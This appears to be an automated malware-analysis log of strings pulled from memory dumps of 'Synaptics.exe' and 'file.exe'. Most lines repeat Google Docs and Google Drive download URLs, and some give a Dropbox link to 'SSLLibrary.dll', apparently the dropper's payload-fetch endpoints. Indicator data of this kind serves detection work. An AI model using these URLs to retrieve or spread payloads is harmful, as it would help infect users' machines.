Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr=q
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrT)
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrch-c
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadred.B
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrk
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.do
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsc
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsers
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsip
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsk
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsolv
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstna
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt2
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlen
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlenFp
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni0
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtrk
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3074641637.000000001DCF5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu91
Source: Synaptics.exe, 00000003.00000002.3039336573.000000000DC70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaducati
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadurityS
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv/3
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv1q
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv9u
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadviceUX
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvt2-/
Source: Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwY0
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw~&
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx3
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxred.
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxtg
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady$
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady=
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadye
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyndic
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyo
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..h~3
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..q
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.2
Source: Synaptics.exe, 00000003.00000002.3016126059.00000000009C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady~=
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzU1
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzj
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~(;
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~?m
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~i
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~m
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr, ~DF5D971380D884AB7C.TMP.6.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.3016126059.000000000095C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0By7
Source: Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/z
Source: Synaptics.exe, 00000003.00000002.3135170649.0000000032AFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3139792489.00000000356BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3130952832.0000000030CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3134656599.00000000325FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3129404344.00000000302FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3037774915.000000000CAEE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3037871215.000000000CC2E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3136660025.00000000338BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3125753467.000000002F03E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3148505511.0000000039CBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3120678709.000000002C3BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3134263102.000000003223E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3126177469.000000002F2BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3037115244.000000000C22E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3126300657.000000002F3FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3134090431.00000000320FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3130207959.00000000307FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3136542340.000000003377E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3126009593.000000002F17E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3134528832.00000000324BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3129067767.000000003007E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.comuc?id=0BxsMXGfPIZfSVlVsOGlEVGxuVk&export=download
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3087248953.000000001E07E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3023403853.0000000007071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.3160379994.000000003C914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSn
Source: Synaptics.exe, 00000003.00000002.3087248953.000000001E07E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadht7d
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadht7dN
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlY
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/i
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
